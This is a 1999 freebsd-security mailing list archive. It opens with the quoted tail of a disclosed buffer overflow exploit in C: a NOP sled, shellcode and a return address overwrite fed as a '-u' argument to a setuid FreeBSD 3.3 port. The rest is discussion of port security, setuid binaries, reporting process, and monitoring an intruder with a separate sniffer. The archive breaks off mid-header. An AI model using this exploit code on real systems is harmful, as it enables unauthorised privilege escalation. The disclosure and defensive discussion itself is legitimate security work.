char arg[bsize + 2]; > int eip = 0xbfbfc6b4; /* FreeBSD 3.3 */ > > if (argv[1]) { > offset = atoi(argv[1]); > eip = eip + offset; > } > fprintf(stderr, "eip=0x%x offset=%d buflen=%d\n", eip, offset, bsize); > > for ( x = 0; x < 1021; x++) buf[x] = 0x90; > fprintf(stderr, "NOPs to %d\n", x); > > for ( y = 0; y < 67 ; x++, y++) buf[x] = shell[y]; > fprintf(stderr, "Shellcode to %d\n",x); > > buf[x++] = eip & 0x000000ff; > buf[x++] = (eip & 0x0000ff00) >> 8; > buf[x++] = (eip & 0x00ff0000) >> 16; > buf[x++] = (eip & 0xff000000) >> 24; > fprintf(stderr, "eip to %d\n",x); > buf[x++] = 'X'; > buf[x++] = 'X'; > fprintf(stderr, "garbage to %d\n", x); > > buf[bsize - 1] = '\0'; > > sprintf(arg, "-u%s", buf); > arg[bsize + 1] = '\0'; > > printf("%s", arg); > > } > > Brock Tellier > UNIX Systems Administrator > Chicago, IL, USA > > ____________________________________________________________________ > Get free email and a permanent address at http://www.netaddress.com/?N=1 > > ----- End forwarded message ----- > > -- > -=| --- B i l l S w i n g l e --- http://www.dub.net/ > -=| unfurl@dub.net - unfurl@freebsd.org - bill@cdrom.com > -=| Different all twisty a of in maze are you, passages little > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-security" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Dec 1 10:59:54 1999 Delivered-To: freebsd-security@freebsd.org Received: from fledge.watson.org (fledge.watson.org [204.156.12.50]) by hub.freebsd.org (Postfix) with ESMTP id 205211509B for ; Wed, 1 Dec 1999 10:59:36 -0800 (PST) (envelope-from robert@cyrus.watson.org) Received: from fledge.watson.org (robert@fledge.pr.watson.org [192.0.2.3]) by fledge.watson.org (8.9.3/8.9.3) with SMTP id NAA05119; Wed, 1 Dec 1999 13:59:13 -0500 (EST) (envelope-from robert@cyrus.watson.org) Date: Wed, 1 Dec 1999 13:59:13 -0500 (EST) From: Robert Watson X-Sender: robert@fledge.watson.org Reply-To: Robert Watson To: naiden.markacehv@usask.ca Cc: Matt , freebsd-security@FreeBSD.ORG Subject: Re: stack overflow and security In-Reply-To: <3844628D.E6490B17@mail.usask.ca> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org I don't know if the original message author meant it or not, but the author used the words "stack overflow" and not "buffer overflow". In my mind, "stack overflow" implies walking off the bottom of the available stack space, and is usually the result of excessive recursion or implicit allocation of something inappropriate in the function call stack. As far as I know, there have only been denial of service possibilities with this (i.e., process dies with SIGSEGV), and I have never heard of a stack overflow resulting in elevated privileges for the attacker. There are a few potential ways you might do this, but all are pretty far-fetched -- most involve the "rediculous thing in the stack" allocation issue. I'm not sure how we're handling the bottoms of thread stacks, but with the Coda LWP package, it was possible to walk off the bottom of one stack onto the top of another (or something else) resulting in poor behavior, which might be exploitable. On Tue, 30 Nov 1999, Naiden wrote: > Matt wrote: > > > > can any one help to explain how stack over security exploit. does anyone > > know how to fix it? How it happens? > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > > with "unsubscribe freebsd-security" in the body of the message > > Here is a site that answers your question..... at least the "how it > happens" part. > http://www.helloworld.ca/1999/04-apr/attack_class.html > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-security" in the body of the message > Robert N M Watson robert@fledge.watson.org http://www.watson.org/~robert/ PGP key fingerprint: AF B5 5F FF A6 4A 79 37 ED 5F 55 E9 58 04 6A B1 TIS Labs at Network Associates, Safeport Network Services To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Dec 1 11: 4:12 1999 Delivered-To: freebsd-security@freebsd.org Received: by hub.freebsd.org (Postfix, from userid 758) id CD4FB151CC; Wed, 1 Dec 1999 11:04:10 -0800 (PST) Received: from localhost (localhost [127.0.0.1]) by hub.freebsd.org (Postfix) with ESMTP id BF2451CD806; Wed, 1 Dec 1999 11:04:10 -0800 (PST) (envelope-from kris@hub.freebsd.org) Date: Wed, 1 Dec 1999 11:04:10 -0800 (PST) From: Kris Kennaway To: Bill Swingle Cc: security@freebsd.org, Jordan Hubbard Subject: Re: [btellier@USA.NET: Several FreeBSD-3.3 vulnerabilities] In-Reply-To: <19991201093242.A71817@dub.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On 1 Dec 1999, Bill Swingle wrote: > -rwxr-sr-x 1 bin dialer 88480 Sep 11 00:55 /usr/X11R6/bin/seyon ---------------------------- revision 1.4 date: 1999/11/10 16:38:50; author: imp; state: Exp; lines: +0 -16 Don't install seyon stid dialer for the moment. Submitted by: Michael Elbel ---------------------------- > -rwsr-xr-x 1 uucp bin 7780 Sep 11 05:15 /usr/X11R6/bin/xmindpath This one is a hole in the software itself, > -r-xr-sr-x 1 bin games 481794 Sep 11 01:10 /usr/X11R6/bin/angband This one is our fault and should be fixed. I've marked these two BROKEN until they can be fixed by the maintainers. Kris To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Dec 1 11:10:53 1999 Delivered-To: freebsd-security@freebsd.org Received: from magnesium.net (toxic.magnesium.net [207.154.84.15]) by hub.freebsd.org (Postfix) with SMTP id A4586151CC for ; Wed, 1 Dec 1999 11:10:50 -0800 (PST) (envelope-from unfurl@magnesium.net) Received: (qmail 74594 invoked by uid 1001); 1 Dec 1999 19:09:43 -0000 Date: 1 Dec 1999 11:09:43 -0800 Date: Wed, 1 Dec 1999 11:08:32 -0800 From: Bill Swingle To: Wes Peters Subject: Re: [btellier@USA.NET: Several FreeBSD-3.3 vulnerabilities] Message-ID: <19991201110832.A74323@dub.net> References: <19991201093242.A71817@dub.net> <38456ED0.D25139C7@softweyr.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0pre3i In-Reply-To: <38456ED0.D25139C7@softweyr.com> Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Wed, Dec 01, 1999 at 11:54:08AM -0700, Wes Peters wrote: > Bill Swingle wrote: > > > > Ok, so I know these are all vulnerabilities in third party software, and > > that the actual problem with each program is not really ours to fix but > > each of these problems can be avoided with small changes to the > > respective ports. > > > > FreeBSD vulnerabilities are few and far between, and even fewer are > > published on Bugtraq. Having something as simple as this get past us is > > really embarassing. It says to the security community at large that > > we're not even concerned enough with security to fix these small holes. > > We all know that's not true. > > > > I'm not sure who dropped the ball here, and I'm not pointing fingers. I > > just hope that we can pull together in the future to avoid more of this. > > Before we go hopping around yammering about "not caring about security" or > "dropping the ball" it might be effective to ask "has anyone ever reported > these problems before?" *I* haven't seen any of them reported, and I've > been on this mail list for 3 or 4 years. Wes, the post to bugtraq indicated that they had notified whoever is in charge of security. If you take a look at the page that's linked off the "Security" link at www.freebsd.org it specificly states that bug reports should be sent to security-officer@freebsd.org. This would be why you've not seen reports of these things here. I don't want to just whine about this. I'd really like to see this process improved. How can we help the team of ppl behind the security-officer address? Is there anything that I/we can do? -Bill -- -=| --- B i l l S w i n g l e --- http://www.dub.net/ -=| unfurl@dub.net - unfurl@freebsd.org - bill@cdrom.com -=| Different all twisty a of in maze are you, passages little To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Dec 1 11:13:29 1999 Delivered-To: freebsd-security@freebsd.org Received: from fledge.watson.org (fledge.watson.org [204.156.12.50]) by hub.freebsd.org (Postfix) with ESMTP id BABD514C3F; Wed, 1 Dec 1999 11:13:22 -0800 (PST) (envelope-from robert@cyrus.watson.org) Received: from fledge.watson.org (robert@fledge.pr.watson.org [192.0.2.3]) by fledge.watson.org (8.9.3/8.9.3) with SMTP id OAA05238; Wed, 1 Dec 1999 14:12:53 -0500 (EST) (envelope-from robert@cyrus.watson.org) Date: Wed, 1 Dec 1999 14:12:53 -0500 (EST) From: Robert Watson X-Sender: robert@fledge.watson.org Reply-To: Robert Watson To: Bill Swingle Cc: security@freebsd.org, Jordan Hubbard Subject: Re: [btellier@USA.NET: Several FreeBSD-3.3 vulnerabilities] In-Reply-To: <19991201093242.A71817@dub.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org I think you make a number of excellent points--that these are third party applications, that we're getting toasted on bugtraq, and that we probably did slip up somewhere and we should figure it out. I'd like to address them individually. 1) These are third party applications, and as Jordan points out, there is no feasible way for the FreeBSD project and its supporters to individually review all of the code, especially given that it isn't even in our CVS tree! That said, I think we should make it *more clear* that packages are not our responsibility to secure -- for example, I'd like to see a specific dialog pop up before entering the packages collection in sysinstall indicating that the code is a third-party add-on package that may not have gone through the same rigorous code review process used for the base FreeBSD source distribution, and as such may suffer from security limitations. Similarly, it might be nice to have a * beside package entries for packages that need elevated privileges (setuid, run from inetd, etc) to indicate that this is security sensitive code. We know that really all code is security sensitive (especially if root ever runs it) but this would be a start. Another issue here, though, is that we do choose the permissions that files get installed in, as well as the paths. Do these programs try to install themselves setuid/setgid/etc by default, or is that an ease-of-use thing we add? Wouldn't it be better to require users to be in the dialer group to dial, than having seyon run with dialer setgid? (or whatever the example was) 2) We're getting toasted on bugtraq, and it's not clear that it's our fault. We should determine if we have some responsibility for this, and also if the bugs are present on other platforms. If it's not our fault, we should post a rebuttal pointing out why it is not or partially our fault. I'm all for taking responsibility, but not for other people's problems :-). A serious post on bugtraq indicating the limitations on reviewing third party code, and a discussion of the implications of package systems (such as .deb, .rpm, .tgz..) with regards to auditing and distribibution responsibility would probably be a good idea, and raise the issue for application developers as well. 3) The loss of the bug reports as described is concerning -- but not surprising. Contacting the maintainers of ports can be extremely difficult, and even more so for them to contact the authors of the ports. In many cases, application developers aren't interested in the fact that we ported to FreeBSD (and in some cases, don't even know :-). If they don't even know it's been ported, they're probably not responsible for verifying that it runs securely, although they are responsible for stupid things like buffer overflows. We should probably include commentary on reporting application/port bugs in a post describing our opinions on third party packages. I'm not sure what the best information/workflow solution is. Robert N M Watson robert@fledge.watson.org http://www.watson.org/~robert/ PGP key fingerprint: AF B5 5F FF A6 4A 79 37 ED 5F 55 E9 58 04 6A B1 TIS Labs at Network Associates, Safeport Network Services To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Dec 1 11:41: 3 1999 Delivered-To: freebsd-security@freebsd.org Received: from eddie.incantations.net (adsl-208-189-80-58.dsl.rcsntx.swbell.net [208.189.80.58]) by hub.freebsd.org (Postfix) with ESMTP id 3A00815B9B for ; Wed, 1 Dec 1999 11:40:53 -0800 (PST) (envelope-from thanatos@incantations.net) Received: from eddie.incantations.net (thanatos@eddie.incantations.net [208.189.80.58]) by eddie.incantations.net (8.8.8/8.8.8) with ESMTP id NAA08119 for ; Wed, 1 Dec 1999 13:40:53 -0600 (CST) (envelope-from thanatos@incantations.net) Date: Wed, 1 Dec 1999 13:40:53 -0600 (CST) From: Jason Hudgins To: security@freebsd.org Subject: logging a telnet session Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org I've had an intruder visiting my box recently, and I tried to setup a system for logging his telnet session. I was using the tcpd wrraper in inetd.conf, and having it set off a trigger in hosts.allow. The trigger calls a script that runs watch -c session on whatever ttypX he logs into. The problem is that tcpd calls the trigger and hands control back over to telnetd without ever knowing what ttypX the remote user will be using. I've done some creative work arounds, but they only work about half of the time (having they script that calls watch sleep for a little bit, and then parses who output and tries to figure out the remote users ttypX and then starting up watch) does anyone have a good solution for this, I'm sure there is a better way. Jason Hudgins http://www.incantations.net/~thanatos To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Dec 1 12: 5:32 1999 Delivered-To: freebsd-security@freebsd.org Received: from nwcst313.netaddress.usa.net (nwcst313.netaddress.usa.net [204.68.23.58]) by hub.freebsd.org (Postfix) with SMTP id EBF081529F for ; Wed, 1 Dec 1999 12:05:29 -0800 (PST) (envelope-from btellier@usa.net) Received: (qmail 17315 invoked by uid 60001); 1 Dec 1999 20:02:57 -0000 Message-ID: <19991201200257.17312.qmail@nwcst313.netaddress.usa.net> Received: from 204.68.23.58 by nwcst313 for [208.241.222.3] via web-mailer(M3.4.0.33) on Wed Dec 1 20:02:57 GMT 1999 Date: 1 Dec 99 13:02:57 MST From: Brock Tellier To: "Jordan K. Hubbard" , Bill Swingle Subject: Re: [Re: [btellier@USA.NET: Several FreeBSD-3.3 vulnerabilities] ] Cc: security@FreeBSD.ORG, btellier@usa.net X-Mailer: USANET web-mailer (M3.4.0.33) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: quoted-printable Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org "Jordan K. Hubbard" wrote: > FreeBSD vulnerabilities are few and far between, and even fewer are > published on Bugtraq. Having something as simple as this get past us is= > really embarassing. It says to the security community at large that > we're not even concerned enough with security to fix these small holes.= > We all know that's not true. = The problem is that they're often not even posted to the correct source. In this case, for example, the holes aren't "part of FreeBSD" proper, they're part of our 2794 entry ports collection and Mr. Tellier posted his report to the security officer. It would be simply impossible for one or two people to track security over all of FreeBSD and 2,700 3rd party packages (a certain percentage of which aren't even testable at any given time due to patch creep, tarball fennerization, bitrot, etc) and I don't blame the security officer for wondering why these issues weren't brought up directly with the ports team and/or the individual maintainers for these ports. Being able to divide labor into reasonable (read: even marginally sane) pieces is why we have a ports collection and ports maintainers. Any bug which is found with a port, be it a security issue or a full-on crash, should be reported to the relevant maintainer so that he or she can quickly commit a patch to the ports' patches directory and get everyone past the issue as quickly as possible. - Jordan ----- Personally, I don't think it is at all unreasonable to do a full 2700 por= t install via sysinstall and audit the 200 or so suid-programs. Sure, it's= important that the others be free from symlink problems and in a few case= s, buffer overflows, but focusing, as I did, on the suids wouldn't be ridiculously difficult. More than 50% of these programs could safely los= e their suid-bit. Considering the number of people who will actually need "xmindpath" suid vs. the number of people who just do a full install beca= use they don't want to miss anything, I'd say you're pretty safe. -brock ____________________________________________________________________ Get free email and a permanent address at http://www.netaddress.com/?N=3D= 1 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Dec 1 12:13:18 1999 Delivered-To: freebsd-security@freebsd.org Received: from kerouac.deepwell.com (deepwell.com [209.63.174.12]) by hub.freebsd.org (Postfix) with SMTP id 1447D150CB for ; Wed, 1 Dec 1999 12:13:16 -0800 (PST) (envelope-from freebsd@deepwell.com) Received: (qmail 22664 invoked from network); 1 Dec 1999 21:04:28 -0000 Received: from proxy.dcomm.net (HELO terry) (209.63.175.10) by deepwell.com with SMTP; 1 Dec 1999 21:04:28 -0000 Message-Id: <4.2.0.58.19991201120611.0165fb10@mail1.dcomm.net> X-Sender: freebsd@mail.deepwell.com X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.0.58 Date: Wed, 01 Dec 1999 12:13:04 -0800 To: Jason Hudgins , freebsd-security@freebsd.org From: Deepwell Internet Subject: Re: logging a telnet session In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org If you're looking to make this transparent then you should rethink running services on the box he is on. If he is any good then he will see this. If he's not good then why even bother watching him? I'd set up a second box and sniff the traffic. You may be able to have the compromised box send a trigger to the sniffer when he comes in. There were two independent threads on freebsd-security and freebsd-isp a while back that talked about getting an AUI ethernet card and clipping pins in the AUI to 10-base-T converter to stop the sniffer from sending outbound packets. Throw a modem on it, or place a second NIC in the sniffer connected to a "secure" segment and you could do all sorts of analysis of his sessions. At 01:40 PM 12/1/99 -0600, you wrote: >I've had an intruder visiting my box recently, and I tried to >setup a system for logging his telnet session. I was using the >tcpd wrraper in inetd.conf, and having it set off a trigger in >hosts.allow. > >The trigger calls a script that runs watch -c session on whatever >ttypX he logs into. The problem is that tcpd calls the trigger and >hands control back over to telnetd without ever knowing what ttypX >the remote user will be using. > >I've done some creative work arounds, but they only work about half >of the time (having they script that calls watch sleep for a little bit, >and then parses who output and tries to figure out the remote users >ttypX and then starting up watch) > >does anyone have a good solution for this, I'm sure there is a better >way. > >Jason Hudgins >http://www.incantations.net/~thanatos > > > >To Unsubscribe: send mail to majordomo@FreeBSD.org >with "unsubscribe freebsd-security" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Dec 1 12:51:14 1999 Delivered-To: freebsd-security@freebsd.org Received: from eddie.incantations.net (adsl-208-189-80-58.dsl.rcsntx.swbell.net [208.189.80.58]) by hub.freebsd.org (Postfix) with ESMTP id 2F43215142 for ; Wed, 1 Dec 1999 12:51:07 -0800 (PST) (envelope-from thanatos@incantations.net) Received: from eddie.incantations.net (thanatos@eddie.incantations.net [208.189.80.58]) by eddie.incantations.net (8.8.8/8.8.8) with ESMTP id OAA14937 for ; Wed, 1 Dec 1999 14:50:43 -0600 (CST) (envelope-from thanatos@incantations.net) Date: Wed, 1 Dec 1999 14:50:43 -0600 (CST) From: Jason Hudgins Cc: freebsd-security@freebsd.org Subject: Re: logging a telnet session In-Reply-To: <4.2.0.58.19991201120611.0165fb10@mail1.dcomm.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Setting up a second box to run a sniffer is a little extreme. Just creating a modified ps would be easier. I'm not really wanting to do either of those however, I just wanted something quick that i could throw together using already developed apps. I haven't found a packet sniffer that I really like yet. I tried sniff, but it wasn't very useful, tcpdump is a little too raw. Does anyone know of a clean & configurable packet sniffer? > If you're looking to make this transparent then you should rethink running > services on the box he is on. If he is any good then he will see this. If > he's not good then why even bother watching him? I'd set up a second box > and sniff the traffic. You may be able to have the compromised box send a > trigger to the sniffer when he comes in. > > There were two independent threads on freebsd-security and freebsd-isp a > while back that talked about getting an AUI ethernet card and clipping pins > in the AUI to 10-base-T converter to stop the sniffer from sending outbound > packets. Throw a modem on it, or place a second NIC in the sniffer > connected to a "secure" segment and you could do all sorts of analysis of > his sessions. > > > > At 01:40 PM 12/1/99 -0600, you wrote: > >I've had an intruder visiting my box recently, and I tried to > >setup a system for logging his telnet session. I was using the > >tcpd wrraper in inetd.conf, and having it set off a trigger in > >hosts.allow. > > > >The trigger calls a script that runs watch -c session on whatever > >ttypX he logs into. The problem is that tcpd calls the trigger and > >hands control back over to telnetd without ever knowing what ttypX > >the remote user will be using. > > > >I've done some creative work arounds, but they only work about half > >of the time (having they script that calls watch sleep for a little bit, > >and then parses who output and tries to figure out the remote users > >ttypX and then starting up watch) > > > >does anyone have a good solution for this, I'm sure there is a better > >way. > > > >Jason Hudgins > >http://www.incantations.net/~thanatos > > > > > > > >To Unsubscribe: send mail to majordomo@FreeBSD.org > >with "unsubscribe freebsd-security" in the body of the message > > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Dec 1 13: 6:41 1999 Delivered-To: freebsd-security@freebsd.org Received: from cs.usask.ca (cs.usask.ca [128.233.130.77]) by hub.freebsd.org (Postfix) with ESMTP id 98DAC151D6 for ; Wed, 1 Dec 1999 13:06:10 -0800 (PST) (envelope-from nmm367@cs.usask.ca) Received: from penguin2.usask.ca (penguin2.usask.ca [128.233.130.131]) by cs.usask.ca (8.9.0/8.9.0) with ESMTP id PAA00321; Wed, 1 Dec 1999 15:01:59 -0600 (CST) Received: from localhost (nmm367@localhost) by penguin2.usask.ca (8.9.3/8.9.0) with ESMTP id OAA02507; Wed, 1 Dec 1999 14:57:54 -0600 Date: Wed, 1 Dec 1999 14:57:54 -0600 (CST) From: Naiden M Markachev To: Robert Watson Cc: freebsd-security@FreeBSD.ORG Subject: Re: stack overflow and security In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Wed, 1 Dec 1999, Robert Watson wrote: > I don't know if the original message author meant it or not, but the > author used the words "stack overflow" and not "buffer overflow". In my > mind, "stack overflow" implies walking off the bottom of the available > stack space, and is usually the result of excessive recursion or > implicit allocation of something inappropriate in the function call stack. I am sorry. It was my missunderstanding of the original question. > > > Matt wrote: > > > > > > can any one help to explain how stack over security exploit. does anyone > > > know how to fix it? How it happens? > > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > > > with "unsubscribe freebsd-security" in the body of the message > > > > Here is a site that answers your question..... at least the "how it > > happens" part. > > http://www.helloworld.ca/1999/04-apr/attack_class.html > > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > > with "unsubscribe freebsd-security" in the body of the message > > > > > Robert N M Watson > > robert@fledge.watson.org http://www.watson.org/~robert/ > PGP key fingerprint: AF B5 5F FF A6 4A 79 37 ED 5F 55 E9 58 04 6A B1 > TIS Labs at Network Associates, Safeport Network Services > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-security" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Dec 1 13:23:39 1999 Delivered-To: freebsd-security@freebsd.org Received: by hub.freebsd.org (Postfix, from userid 758) id EBE0814C26; Wed, 1 Dec 1999 13:23:37 -0800 (PST) Received: from localhost (localhost [127.0.0.1]) by hub.freebsd.org (Postfix) with ESMTP id DDBAA1CD80F; Wed, 1 Dec 1999 13:23:37 -0800 (PST) (envelope-from kris@hub.freebsd.org) Date: Wed, 1 Dec 1999 13:23:37 -0800 (PST) From: Kris Kennaway To: Jason Hudgins Cc: freebsd-security@freebsd.org Subject: Re: logging a telnet session In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Wed, 1 Dec 1999, Jason Hudgins wrote: > Setting up a second box to run a sniffer is a little extreme. Just > creating a modified ps would be easier. I'm not really wanting to > do either of those however, I just wanted something quick that i could > throw together using already developed apps. I haven't found a > packet sniffer that I really like yet. I tried sniff, but it wasn't > very useful, tcpdump is a little too raw. Does anyone know of a clean & > configurable packet sniffer? ethereal? The problem with using the cracked box to watch itself is kind of obvious given that your intruder has the same level of privileges as you do. You really want to be doing this from a safe secondary system. Kris To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Dec 1 13:24: 1 1999 Delivered-To: freebsd-security@freebsd.org Received: from norn.ca.eu.org (cr965240-b.abtsfd1.bc.wave.home.com [24.113.19.137]) by hub.freebsd.org (Postfix) with ESMTP id E70A0150AF for ; Wed, 1 Dec 1999 13:23:55 -0800 (PST) (envelope-from cpiazza@norn.ca.eu.org) Received: by norn.ca.eu.org (Postfix, from userid 1000) id 6406C46; Wed, 1 Dec 1999 13:21:51 -0800 (PST) Date: Wed, 1 Dec 1999 13:21:51 -0800 From: Chris Piazza To: Brock Tellier Cc: "Jordan K. Hubbard" , Bill Swingle , security@FreeBSD.ORG Subject: Re: [Re: [btellier@USA.NET: Several FreeBSD-3.3 vulnerabilities] ] Message-ID: <19991201132151.A1226@norn.ca.eu.org> References: <19991201200257.17312.qmail@nwcst313.netaddress.usa.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0i In-Reply-To: <19991201200257.17312.qmail@nwcst313.netaddress.usa.net>; from btellier@usa.net on Wed, Dec 01, 1999 at 01:02:57PM -0700 X-Operating-System: FreeBSD 4.0-CURRENT i386 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Wed, Dec 01, 1999 at 01:02:57PM -0700, Brock Tellier wrote: > > Personally, I don't think it is at all unreasonable to do a full 2700 port > install via sysinstall and audit the 200 or so suid-programs. Sure, it's > important that the others be free from symlink problems and in a few cases, > buffer overflows, but focusing, as I did, on the suids wouldn't be > ridiculously difficult. More than 50% of these programs could safely lose > their suid-bit. Considering the number of people who will actually need > "xmindpath" suid vs. the number of people who just do a full install because Excellent. So when can we expect you to finish this project? -Chris -- cpiazza@jaxon.net cpiazza@FreeBSD.org Abbotsford, BC, Canada To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Dec 1 13:29:21 1999 Delivered-To: freebsd-security@freebsd.org Received: from eddie.incantations.net (adsl-208-189-80-58.dsl.rcsntx.swbell.net [208.189.80.58]) by hub.freebsd.org (Postfix) with ESMTP id B30C014C26 for ; Wed, 1 Dec 1999 13:29:19 -0800 (PST) (envelope-from thanatos@incantations.net) Received: from eddie.incantations.net (thanatos@eddie.incantations.net [208.189.80.58]) by eddie.incantations.net (8.8.8/8.8.8) with ESMTP id PAA18577 for ; Wed, 1 Dec 1999 15:28:17 -0600 (CST) (envelope-from thanatos@incantations.net) Date: Wed, 1 Dec 1999 15:28:17 -0600 (CST) From: Jason Hudgins Cc: freebsd-security@freebsd.org Subject: Re: logging a telnet session In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > ethereal? > > The problem with using the cracked box to watch itself is kind of obvious > given that your intruder has the same level of privileges as you do. You > really want to be doing this from a safe secondary system. And why is that exactly? Pardon me if I'm simply ignorant, but what is the "problem", and why would a secondary system be perferrable. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Dec 1 13:30:15 1999 Delivered-To: freebsd-security@freebsd.org Received: from arden.iss.net (arden.iss.net [208.27.172.3]) by hub.freebsd.org (Postfix) with ESMTP id 27A5A15095 for ; Wed, 1 Dec 1999 13:30:08 -0800 (PST) (envelope-from kjarvis@arden.iss.net) Received: (from kjarvis@localhost) by arden.iss.net (8.8.5/8.7.3) id QAA01815 for freebsd-security@freebsd.org; Wed, 1 Dec 1999 16:29:51 -0500 From: "Keith R. Jarvis" Message-Id: <199912012129.QAA01815@arden.iss.net> Subject: Re: [Re: [btellier@USA.NET: Several FreeBSD-3.3 vulnerabilities] ] To: freebsd-security@freebsd.org Date: Wed, 1 Dec 1999 16:29:51 -0500 (EST) In-Reply-To: <19991201132151.A1226@norn.ca.eu.org> from "Chris Piazza" at Dec 1, 99 01:21:51 pm Content-Type: text Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > > On Wed, Dec 01, 1999 at 01:02:57PM -0700, Brock Tellier wrote: > > > > Personally, I don't think it is at all unreasonable to do a full 2700 port > > install via sysinstall and audit the 200 or so suid-programs. Sure, it's > > important that the others be free from symlink problems and in a few cases, > > buffer overflows, but focusing, as I did, on the suids wouldn't be > > ridiculously difficult. More than 50% of these programs could safely lose > > their suid-bit. Considering the number of people who will actually need > > "xmindpath" suid vs. the number of people who just do a full install because > > Excellent. So when can we expect you to finish this project? > Now thats shooting the messenger -- Keith R. Jarvis (kjarvis@iss.net) http://xforce.iss.net Internet Security Systems, Inc. +1-678-443-6149 (direct) Adaptive Network Security for the Enterprise +1-678-443-6479 (fax) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Dec 1 13:36:26 1999 Delivered-To: freebsd-security@freebsd.org Received: by hub.freebsd.org (Postfix, from userid 758) id 3B06E15111; Wed, 1 Dec 1999 13:36:21 -0800 (PST) Received: from localhost (localhost [127.0.0.1]) by hub.freebsd.org (Postfix) with ESMTP id A76B81CD80F; Wed, 1 Dec 1999 13:36:21 -0800 (PST) (envelope-from kris@hub.freebsd.org) Date: Wed, 1 Dec 1999 13:36:21 -0800 (PST) From: Kris Kennaway To: Jason Hudgins Cc: freebsd-security@freebsd.org Subject: Re: logging a telnet session In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Wed, 1 Dec 1999, Jason Hudgins wrote: > > The problem with using the cracked box to watch itself is kind of obvious > > given that your intruder has the same level of privileges as you do. You > > really want to be doing this from a safe secondary system. > > And why is that exactly? Pardon me if I'm simply ignorant, but what is > the "problem", and why would a secondary system be perferrable. Because the attacker can simply disable all of your logging, and/or replace them with false logs - you have to assume they know what you're doing and will take steps against it (or they already have). A second system watching the packet stream can't be subverted without also breaking into _that_ one, which is much more difficult if you configure it restrictively. Kris To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Dec 1 13:42:10 1999 Delivered-To: freebsd-security@freebsd.org Received: from eddie.incantations.net (adsl-208-189-80-58.dsl.rcsntx.swbell.net [208.189.80.58]) by hub.freebsd.org (Postfix) with ESMTP id 0AC8414F9C for ; Wed, 1 Dec 1999 13:42:01 -0800 (PST) (envelope-from thanatos@incantations.net) Received: from 